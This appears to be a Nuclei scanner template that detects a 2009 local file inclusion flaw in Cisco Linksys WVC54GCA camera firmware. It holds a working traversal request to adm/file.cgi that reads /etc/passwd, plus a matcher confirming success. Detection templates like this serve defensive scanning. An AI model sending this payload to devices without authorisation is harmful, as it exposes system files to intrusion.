id: CVE-2009-1558

info:
  name: Cisco Linksys WVC54GCA 1.00R22/1.00R24 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Cisco Linksys WVC54GCA 1.00R22/1.00R24 is susceptible to local file inclusion in adm/file.cgi because it allows remote attackers to read arbitrary files via a %2e. (encoded dot dot) or an absolute pathname in the next_file parameter.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the device, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest firmware update provided by Cisco to fix the local file inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/32954
    - http://www.vupen.com/english/advisories/2009/1173
    - http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/
    - https://nvd.nist.gov/vuln/detail/CVE-2009-1558
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/50231
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:N/A:N
    cvss-score: 7.8
    cve-id: CVE-2009-1558
    cwe-id: CWE-22
    epss-score: 0.28806
    epss-percentile: 0.97955
    cpe: cpe:2.3:h:cisco:wvc54gca:1.00r22:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: wvc54gca
  tags: cve2009,cve,iot,linksys,camera,traversal,lfi,cisco,firmware,edb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/adm/file.cgi?next_file=%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220137e2004d6d890292ad0ec97c1fadd0523b0b0e7a8c4abc23f467c38abbed88702201e9abcd8ee5687bfa0e2e65e344347c40f553ae628241f2d7232d0f423d2daea:922c64590222798bb761d5b6d8e72950